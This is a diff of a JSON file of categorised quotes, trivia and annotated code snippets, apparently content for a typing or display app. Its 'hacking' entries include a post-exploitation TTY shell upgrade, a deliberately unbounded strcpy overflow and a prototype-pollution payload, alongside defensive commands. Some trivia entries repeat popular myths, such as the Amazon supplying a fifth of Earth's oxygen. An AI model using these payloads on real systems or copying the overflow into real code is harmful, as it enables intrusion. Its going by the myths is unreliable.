- "attribution": "H.G. Wells, The Time Machine"
+ "category": "nature",
+ "content": "The Amazon rainforest is home to an estimated ten percent of all known species on Earth, making it one of the most biodiverse regions on the planet.",
+ "attribution": "Nature"
},
{
- "category": "movies",
- "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
- "attribution": "Jurassic Park (1993)"
+ "category": "science",
+ "content": "Evolution by natural selection describes how organisms with traits better suited to their environment tend to survive and reproduce more successfully, gradually shaping a population over many generations.",
+ "attribution": "Science, after Charles Darwin"
},
{
- "category": "literature",
- "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
- "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
+ "category": "nature",
+ "content": "Coral reefs cover less than one percent of the ocean floor, yet they support roughly a quarter of all marine species.",
+ "attribution": "Nature"
},
{
"category": "movies",
- "content": "Oh, what a day. What a lovely day!",
- "attribution": "Mad Max: Fury Road (2015)"
+ "content": "If you could see your whole life laid out in front of you, would you change things?",
+ "attribution": "Arrival (2016)"
},
{
- "category": "business",
- "content": "Supply and demand describes how the price of a good tends to rise when demand exceeds supply, and fall when supply exceeds demand.",
- "attribution": "Business"
+ "category": "literature",
+ "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
+ "attribution": "Herman Melville, Moby-Dick"
},
{
- "category": "nature",
- "content": "A rainforest canopy can be so dense that less than two percent of sunlight reaches the forest floor below.",
- "attribution": "Nature"
+ "category": "philosophy",
+ "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.",
+ "attribution": "Philosophy"
},
{
- "category": "anime",
- "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
- "attribution": "Attack on Titan"
+ "category": "history",
+ "content": "The Silk Road was not a single road but a network of trade routes connecting China to the Mediterranean, carrying silk, spices, and ideas across the ancient world.",
+ "attribution": "History"
},
{
- "category": "anime",
- "content": "We fear that which we cannot see.",
- "attribution": "Bleach"
+ "category": "movies",
+ "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
+ "attribution": "The Silence of the Lambs (1991)"
},
{
"category": "literature",
- "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
- "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
+ "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
+ "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
},
{
- "category": "programming",
- "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
- "attribution": "Shell",
+ "category": "hacking",
+ "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'",
+ "attribution": "Defence",
"language": "shell",
- "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
+ "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here."
},
{
- "category": "movies",
- "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
- "attribution": "The Matrix (1999)"
- },
- {
- "category": "business",
- "content": "Market research helps a business understand its customers' needs and preferences before committing resources to a new product or service.",
- "attribution": "Business"
+ "category": "anime",
+ "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
+ "attribution": "Vinland Saga"
},
{
"category": "technology",
- "content": "The transistor, invented in 1947, replaced bulky vacuum tubes and became the foundational building block of nearly every modern electronic device.",
+ "content": "A central processing unit executes the instructions of a computer program by performing basic arithmetic, logic, and input and output operations.",
"attribution": "Technology"
},
{
- "category": "business",
- "content": "A merger combines two companies into one, while an acquisition occurs when one company purchases and absorbs another, though the two terms are often used loosely in everyday conversation.",
- "attribution": "Business"
+ "category": "anime",
+ "content": "Hard work is worthless for those that don't believe in themselves.",
+ "attribution": "Naruto"
+ },
+ {
+ "category": "general",
+ "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.",
+ "attribution": "General knowledge"
},
{
"category": "movies",
- "content": "I am big. It's the pictures that got small.",
- "attribution": "Sunset Boulevard (1950)"
+ "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
+ "attribution": "Casablanca (1942)"
+ },
+ {
+ "category": "philosophy",
+ "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.",
+ "attribution": "Philosophy"
},
{
"category": "movies",
- "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
- "attribution": "Interstellar (2014)"
+ "content": "You're gonna need a bigger boat.",
+ "attribution": "Jaws (1975)"
+ },
+ {
+ "category": "history",
+ "content": "The fall of the Berlin Wall in 1989 marked a turning point in the Cold War, as East and West Germany moved toward reunification the following year.",
+ "attribution": "History"
+ },
+ {
+ "category": "philosophy",
+ "content": "It's not what happens to you, but how you react to it that matters.",
+ "attribution": "Epictetus"
},
{
"category": "science",
- "content": "Photosynthesis is the process by which plants convert light energy into chemical energy, using carbon dioxide and water to produce glucose and release oxygen as a byproduct.",
+ "content": "Mitochondria convert nutrients into a usable form of energy for the cell, which is why biology textbooks often call them the powerhouse of the cell.",
"attribution": "Science"
},
{
- "category": "general",
- "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.",
- "attribution": "General knowledge"
+ "category": "business",
+ "content": "Henry Ford, founder of the Ford Motor Company, is credited with popularizing the moving assembly line, which dramatically reduced the time needed to build an automobile.",
+ "attribution": "History of Business"
},
{
- "category": "science",
- "content": "Evolution by natural selection describes how organisms with traits better suited to their environment tend to survive and reproduce more successfully, gradually shaping a population over many generations.",
- "attribution": "Science, after Charles Darwin"
+ "category": "hacking",
+ "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'",
+ "attribution": "Post-exploitation",
+ "language": "shell",
+ "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working."
},
{
- "category": "movies",
- "content": "I'm gonna make him an offer he can't refuse.",
- "attribution": "The Godfather (1972)"
+ "category": "nature",
+ "content": "Bees pollinate roughly a third of the crops humans rely on for food, making them essential to global agriculture despite their small size.",
+ "attribution": "Nature"
},
{
"category": "anime",
- "content": "Overspecialize, and you breed in weakness. It's slow death.",
- "attribution": "Ghost in the Shell"
+ "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
+ "attribution": "Naruto"
+ },
+ {
+ "category": "history",
+ "content": "The signing of the Magna Carta in 1215 limited the power of the English king and established the principle that even a monarch was subject to the law.",
+ "attribution": "History"
+ },
+ {
+ "category": "business",
+ "content": "Customer obsession, rather than competitor focus, is the surest path to long term success.",
+ "attribution": "Jeff Bezos"
+ },
+ {
+ "category": "anime",
+ "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
+ "attribution": "Steins;Gate"
},
{
"category": "anime",
@@ -161,94 +231,125 @@
"attribution": "Cowboy Bebop"
},
{
- "category": "business",
- "content": "A balance sheet summarizes what a company owns and owes at a single point in time, split into assets, liabilities, and shareholders' equity.",
- "attribution": "Business"
+ "category": "movies",
+ "content": "You either die a hero, or you live long enough to see yourself become the villain.",
+ "attribution": "The Dark Knight (2008)"
},
{
- "category": "movies",
- "content": "With great power comes great responsibility.",
- "attribution": "Spider-Man (2002)"
+ "category": "anime",
+ "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
+ "attribution": "Fullmetal Alchemist"
},
{
- "category": "literature",
- "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
- "attribution": "F. Scott Fitzgerald, The Great Gatsby"
+ "category": "programming",
+ "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
+ "attribution": "Shell",
+ "language": "shell",
+ "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
},
{
- "category": "technology",
- "content": "Moore's Law observed that the number of transistors on a computer chip tends to double roughly every two years, driving decades of rapid improvement in computing power.",
- "attribution": "Technology"
+ "category": "quotes",
+ "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
+ "attribution": "Frederick Douglass"
},
{
- "category": "philosophy",
- "content": "It is not that we have a short time to live, but that we waste a lot of it.",
- "attribution": "Seneca, On the Shortness of Life"
+ "category": "science",
+ "content": "The theory of plate tectonics explains how the Earth's outer shell is broken into large plates that slowly drift over the mantle, causing earthquakes, volcanoes, and mountain formation.",
+ "attribution": "Science"
},
{
- "category": "anime",
- "content": "Hard work is worthless for those that don't believe in themselves.",
- "attribution": "Naruto"
+ "category": "programming",
+ "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
+ },
+ {
+ "category": "general",
+ "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.",
+ "attribution": "General knowledge"
+ },
+ {
+ "category": "business",
+ "content": "Diversification spreads investment risk across different assets, so that a poor outcome in one area does not sink an entire portfolio.",
+ "attribution": "Business"
+ },
+ {
+ "category": "hacking",
+ "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'",
+ "attribution": "Defence",
+ "language": "shell",
+ "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed."
+ },
+ {
+ "category": "literature",
+ "content": "All we have to decide is what to do with the time that is given us.",
+ "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
+ },
+ {
+ "category": "science",
+ "content": "The human body contains roughly thirty seven trillion cells, each one specialized to carry out one of hundreds of different jobs inside the body.",
+ "attribution": "Science"
},
{
"category": "anime",
- "content": "If you don't take risks, you can't create a future.",
- "attribution": "One Piece"
+ "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
+ "attribution": "Attack on Titan"
},
{
"category": "nature",
- "content": "Deserts are defined by low precipitation rather than temperature, which is why some of the coldest places on Earth, including parts of Antarctica, are technically deserts.",
+ "content": "Rivers shape the landscape around them over thousands of years, carving canyons and depositing sediment that forms fertile floodplains.",
"attribution": "Nature"
},
{
- "category": "business",
- "content": "Return on investment measures the profitability of an investment relative to its cost, expressed as a percentage to make it easy to compare different opportunities.",
- "attribution": "Business"
+ "category": "anime",
+ "content": "Once you've met someone, you never really forget them.",
+ "attribution": "Spirited Away"
},
{
- "category": "anime",
- "content": "A heart's a heavy burden.",
- "attribution": "Howl's Moving Castle"
+ "category": "nature",
+ "content": "The world is big and I want to have a good look at it before it gets dark.",
+ "attribution": "John Muir"
},
{
- "category": "technology",
- "content": "Fiber optic cables transmit data as pulses of light through thin strands of glass, allowing information to travel at extremely high speeds over long distances.",
- "attribution": "Technology"
+ "category": "general",
+ "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.",
+ "attribution": "General knowledge"
},
{
"category": "history",
- "content": "The signing of the Magna Carta in 1215 limited the power of the English king and established the principle that even a monarch was subject to the law.",
- "attribution": "History"
+ "content": "I will fight no more forever.",
+ "attribution": "Chief Joseph, Nez Perce, 1877"
},
{
- "category": "science",
- "content": "DNA carries the genetic instructions for every living organism, encoded in a sequence of four chemical bases that pair together to form the famous double helix shape.",
- "attribution": "Science"
+ "category": "technology",
+ "content": "Artificial intelligence refers to computer systems designed to perform tasks that normally require human intelligence, such as recognizing speech, images, or patterns in data.",
+ "attribution": "Technology"
},
{
- "category": "quotes",
- "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
- "attribution": "Theodore Roosevelt, Citizenship in a Republic"
+ "category": "movies",
+ "content": "There's no crying in baseball.",
+ "attribution": "A League of Their Own (1992)"
},
{
- "category": "quotes",
- "content": "It always seems impossible until it's done.",
- "attribution": "Nelson Mandela"
+ "category": "nature",
+ "content": "Heaven is under our feet as well as over our heads.",
+ "attribution": "Henry David Thoreau, Walden"
},
{
- "category": "general",
- "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.",
- "attribution": "General knowledge"
+ "category": "technology",
+ "content": "Open source software is released with its source code publicly available, allowing anyone to view, modify, and distribute it under the terms of its license.",
+ "attribution": "Technology"
},
{
- "category": "quotes",
- "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
- "attribution": "Marcus Aurelius, Meditations"
+ "category": "literature",
+ "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
+ "attribution": "Louisa May Alcott, Little Women"
},
{
"category": "movies",
- "content": "What we've got here is failure to communicate.",
- "attribution": "Cool Hand Luke (1967)"
+ "content": "Oh, what a day. What a lovely day!",
+ "attribution": "Mad Max: Fury Road (2015)"
},
{
"category": "philosophy",
@@ -256,478 +357,520 @@
"attribution": "Philosophy"
},
{
- "category": "history",
- "content": "The Cold War divided much of the world into two opposing blocs for nearly half a century, one aligned with the United States and the other with the Soviet Union.",
- "attribution": "History"
+ "category": "general",
+ "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.",
+ "attribution": "General knowledge"
},
{
- "category": "history",
- "content": "The Renaissance began in Italy in the fourteenth century, sparking a renewed interest in classical art, science, and learning that eventually spread across Europe.",
- "attribution": "History"
+ "category": "movies",
+ "content": "All those moments will be lost in time, like tears in rain. Time to die.",
+ "attribution": "Blade Runner (1982)"
},
{
- "category": "technology",
- "content": "Open source software is released with its source code publicly available, allowing anyone to view, modify, and distribute it under the terms of its license.",
- "attribution": "Technology"
+ "category": "anime",
+ "content": "Anywhere can be paradise as long as you have the will to live.",
+ "attribution": "Neon Genesis Evangelion"
+ },
+ {
+ "category": "history",
+ "content": "The Great Depression of the 1930s began with the stock market crash of 1929 and led to widespread unemployment and economic hardship across the globe.",
+ "attribution": "History"
},
{
"category": "anime",
- "content": "When do you think people die? When they are forgotten.",
- "attribution": "One Piece"
+ "content": "When you look at someone's kindness, it's like looking at the sun.",
+ "attribution": "Fruits Basket"
},
{
- "category": "technology",
- "content": "Cloud computing allows businesses and individuals to rent computing power and storage over the internet instead of maintaining their own physical servers.",
- "attribution": "Technology"
+ "category": "philosophy",
+ "content": "It does not matter how slowly you go as long as you do not stop.",
+ "attribution": "Confucius, Analects"
},
{
- "category": "science",
- "content": "Mitochondria convert nutrients into a usable form of energy for the cell, which is why biology textbooks often call them the powerhouse of the cell.",
- "attribution": "Science"
+ "category": "general",
+ "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.",
+ "attribution": "General knowledge"
},
{
- "category": "business",
- "content": "Customer obsession, rather than competitor focus, is the surest path to long term success.",
- "attribution": "Jeff Bezos"
+ "category": "literature",
+ "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
+ "attribution": "F. Scott Fitzgerald, The Great Gatsby"
},
{
- "category": "anime",
- "content": "This world is rotten, and those who are making it rot deserve to die.",
- "attribution": "Death Note"
+ "category": "programming",
+ "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
+ "attribution": "JavaScript",
+ "language": "javascript",
+ "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
},
{
- "category": "movies",
- "content": "I love the smell of napalm in the morning.",
- "attribution": "Apocalypse Now (1979)"
+ "category": "literature",
+ "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
+ "attribution": "Joseph Conrad, Heart of Darkness"
},
{
"category": "business",
- "content": "Branding is the practice of shaping how customers perceive a company, going beyond a logo to include tone, values, and the overall experience of using a product.",
+ "content": "Market research helps a business understand its customers' needs and preferences before committing resources to a new product or service.",
"attribution": "Business"
},
{
"category": "literature",
- "content": "It was the best of times, it was the worst of times.",
- "attribution": "Charles Dickens, A Tale of Two Cities"
+ "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
+ "attribution": "Charlotte Bronte, Jane Eyre"
+ },
+ {
+ "category": "technology",
+ "content": "Quantum computing uses the principles of quantum mechanics to process information in ways that classical computers cannot, potentially solving certain problems far faster.",
+ "attribution": "Technology"
+ },
+ {
+ "category": "movies",
+ "content": "What we've got here is failure to communicate.",
+ "attribution": "Cool Hand Luke (1967)"
},
{
"category": "nature",
- "content": "The Amazon rainforest is home to an estimated ten percent of all known species on Earth, making it one of the most biodiverse regions on the planet.",
+ "content": "A rainforest canopy can be so dense that less than two percent of sunlight reaches the forest floor below.",
"attribution": "Nature"
},
{
- "category": "philosophy",
- "content": "The only true wisdom is in knowing you know nothing.",
- "attribution": "Socrates"
+ "category": "history",
+ "content": "The Industrial Revolution transformed economies across Europe and North America during the eighteenth and nineteenth centuries, shifting production from hand tools to machines.",
+ "attribution": "History"
},
{
- "category": "anime",
- "content": "Even if you can't see it, the river keeps flowing under the ice.",
- "attribution": "March Comes in Like a Lion"
+ "category": "quotes",
+ "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
+ "attribution": "Abraham Lincoln, The Gettysburg Address"
},
{
"category": "technology",
- "content": "A blockchain is a distributed ledger that records transactions across many computers, making it difficult to alter any single record without changing every subsequent block.",
+ "content": "Machine learning is a branch of artificial intelligence in which a system improves its performance on a task by learning patterns from data rather than following explicit instructions.",
"attribution": "Technology"
},
{
- "category": "movies",
- "content": "I'm as mad as hell, and I'm not going to take this anymore.",
- "attribution": "Network (1976)"
+ "category": "hacking",
+ "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */",
+ "attribution": "Memory safety",
+ "language": "clike",
+ "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger."
},
{
- "category": "programming",
- "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
+ "category": "general",
+ "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.",
+ "attribution": "General knowledge"
},
{
"category": "anime",
- "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
- "attribution": "Hunter x Hunter"
+ "content": "We fear that which we cannot see.",
+ "attribution": "Bleach"
},
{
"category": "anime",
- "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
- "attribution": "Vinland Saga"
+ "content": "I feel like I'm always searching for someone, or something.",
+ "attribution": "Your Name"
},
{
- "category": "history",
- "content": "I will fight no more forever.",
- "attribution": "Chief Joseph, Nez Perce, 1877"
+ "category": "programming",
+ "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
+ "attribution": "C",
+ "language": "clike",
+ "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
},
{
- "category": "literature",
- "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
- "attribution": "Mark Twain, Adventures of Huckleberry Finn"
+ "category": "philosophy",
+ "content": "Waste no more time arguing about what a good man should be. Be one.",
+ "attribution": "Marcus Aurelius, Meditations"
},
{
"category": "programming",
- "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
+ "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
+ "attribution": "Shell",
+ "language": "shell",
+ "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
},
{
- "category": "science",
- "content": "Marie Curie remains the only person to win Nobel Prizes in two different sciences, physics and chemistry, for her pioneering research into radioactivity.",
- "attribution": "Science"
+ "category": "anime",
+ "content": "A heart's a heavy burden.",
+ "attribution": "Howl's Moving Castle"
},
{
- "category": "technology",
- "content": "Machine learning is a branch of artificial intelligence in which a system improves its performance on a task by learning patterns from data rather than following explicit instructions.",
- "attribution": "Technology"
+ "category": "anime",
+ "content": "If you don't take risks, you can't create a future.",
+ "attribution": "One Piece"
},
{
- "category": "philosophy",
- "content": "The beginning is the most important part of the work.",
- "attribution": "Plato, The Republic"
+ "category": "literature",
+ "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
+ "attribution": "Charles Dickens, Great Expectations"
},
{
- "category": "business",
- "content": "Henry Ford, founder of the Ford Motor Company, is credited with popularizing the moving assembly line, which dramatically reduced the time needed to build an automobile.",
- "attribution": "History of Business"
+ "category": "hacking",
+ "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT",
+ "attribution": "Defence",
+ "language": "shell",
+ "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing."
},
{
- "category": "general",
- "content": "The quick brown fox jumps over the lazy dog.",
- "attribution": "Traditional pangram"
+ "category": "hacking",
+ "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')",
+ "attribution": "Web",
+ "language": "javascript",
+ "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it."
},
{
- "category": "nature",
- "content": "The deepest part of the ocean, the Mariana Trench, plunges nearly eleven kilometers below the surface, deeper than Mount Everest is tall.",
- "attribution": "Nature"
+ "category": "anime",
+ "content": "What I want more than anything is for you to live and help me live too.",
+ "attribution": "A Silent Voice"
},
{
"category": "programming",
- "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
+ "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
+ "attribution": "C",
+ "language": "clike",
+ "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
},
{
"category": "programming",
- "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
+ "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
+ "attribution": "Go",
+ "language": "clike",
+ "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
},
{
- "category": "technology",
- "content": "Robotics combines mechanical engineering, electronics, and computer science to design machines capable of performing tasks autonomously or with minimal human control.",
- "attribution": "Technology"
+ "category": "science",
+ "content": "A black hole forms when a massive star collapses under its own gravity, packing so much mass into so small a space that not even light can escape its pull.",
+ "attribution": "Science"
},
{
- "category": "literature",
- "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
- "attribution": "Bram Stoker, Dracula"
+ "category": "quotes",
+ "content": "The two most important days in your life are the day you are born and the day you find out why.",
+ "attribution": "Mark Twain"
},
{
- "category": "movies",
- "content": "There's no crying in baseball.",
- "attribution": "A League of Their Own (1992)"
+ "category": "quotes",
+ "content": "The only limit to our realization of tomorrow is our doubts of today.",
+ "attribution": "Franklin D. Roosevelt"
+ },
+ {
+ "category": "hacking",
+ "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')",
+ "attribution": "Defence",
+ "language": "python",
+ "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing."
},
{
"category": "quotes",
- "content": "Stay hungry, stay foolish.",
- "attribution": "Steve Jobs"
+ "content": "Failure is impossible.",
+ "attribution": "Susan B. Anthony"
},
{
"category": "general",
- "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.",
+ "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.",
"attribution": "General knowledge"
},
{
- "category": "history",
- "content": "The Apollo 11 mission landed the first humans on the Moon in July of 1969, when astronauts Neil Armstrong and Buzz Aldrin walked on the lunar surface.",
- "attribution": "History"
- },
- {
- "category": "movies",
- "content": "Get busy living, or get busy dying.",
- "attribution": "The Shawshank Redemption (1994)"
+ "category": "literature",
+ "content": "It was the best of times, it was the worst of times.",
+ "attribution": "Charles Dickens, A Tale of Two Cities"
},
{
- "category": "programming",
- "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
- "attribution": "Rust",
- "language": "rust",
- "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
+ "category": "philosophy",
+ "content": "A journey of a thousand miles begins with a single step.",
+ "attribution": "Lao Tzu, Tao Te Ching"
},
{
- "category": "quotes",
- "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
- "attribution": "Frederick Douglass"
+ "category": "science",
+ "content": "Vaccines work by training the immune system to recognize a weakened or partial version of a pathogen, so the body can respond quickly if it ever encounters the real threat.",
+ "attribution": "Science"
},
{
- "category": "movies",
- "content": "You're gonna need a bigger boat.",
- "attribution": "Jaws (1975)"
+ "category": "business",
+ "content": "Return on investment measures the profitability of an investment relative to its cost, expressed as a percentage to make it easy to compare different opportunities.",
+ "attribution": "Business"
},
{
- "category": "science",
- "content": "Genetics research has shown that humans share about ninety-nine percent of their DNA with chimpanzees, the closest living relative to our species.",
- "attribution": "Science"
+ "category": "philosophy",
+ "content": "The only true wisdom is in knowing you know nothing.",
+ "attribution": "Socrates"
},
{
"category": "programming",
- "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
+ "content": "struct node { int value; struct node *next; };",
+ "attribution": "C",
+ "language": "clike",
+ "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
},
{
- "category": "programming",
- "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
- "attribution": "JavaScript",
- "language": "javascript",
- "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
+ "category": "quotes",
+ "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
+ "attribution": "Thomas Edison"
},
{
- "category": "history",
- "content": "The Wright brothers achieved the first powered, controlled flight in 1903 near Kitty Hawk, North Carolina, a flight that lasted only twelve seconds.",
- "attribution": "History"
+ "category": "programming",
+ "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
+ "attribution": "Python",
+ "language": "python",
+ "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
},
{
- "category": "history",
- "content": "The Silk Road was not a single road but a network of trade routes connecting China to the Mediterranean, carrying silk, spices, and ideas across the ancient world.",
- "attribution": "History"
+ "category": "philosophy",
+ "content": "All men by nature desire to know.",
+ "attribution": "Aristotle, Metaphysics"
},
{
"category": "technology",
- "content": "The World Wide Web was invented by Tim Berners-Lee in 1989 as a way to share documents over the internet using hyperlinks.",
+ "content": "Fiber optic cables transmit data as pulses of light through thin strands of glass, allowing information to travel at extremely high speeds over long distances.",
"attribution": "Technology"
},
{
- "category": "nature",
- "content": "Mycorrhizal fungi form partnerships with the roots of most plants, helping them absorb water and nutrients in exchange for sugars produced by photosynthesis.",
- "attribution": "Nature"
+ "category": "movies",
+ "content": "Do. Or do not. There is no try.",
+ "attribution": "The Empire Strikes Back (1980)"
},
{
- "category": "philosophy",
- "content": "Every new beginning comes from some other beginning's end.",
- "attribution": "Seneca, Letters from a Stoic"
+ "category": "general",
+ "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.",
+ "attribution": "General knowledge"
},
{
- "category": "literature",
- "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
- "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
+ "category": "movies",
+ "content": "I'm as mad as hell, and I'm not going to take this anymore.",
+ "attribution": "Network (1976)"
+ },
+ {
+ "category": "philosophy",
+ "content": "The impediment to action advances action. What stands in the way becomes the way.",
+ "attribution": "Marcus Aurelius, Meditations"
},
{
"category": "science",
- "content": "The theory of plate tectonics explains how the Earth's outer shell is broken into large plates that slowly drift over the mantle, causing earthquakes, volcanoes, and mountain formation.",
+ "content": "DNA carries the genetic instructions for every living organism, encoded in a sequence of four chemical bases that pair together to form the famous double helix shape.",
"attribution": "Science"
},
{
- "category": "history",
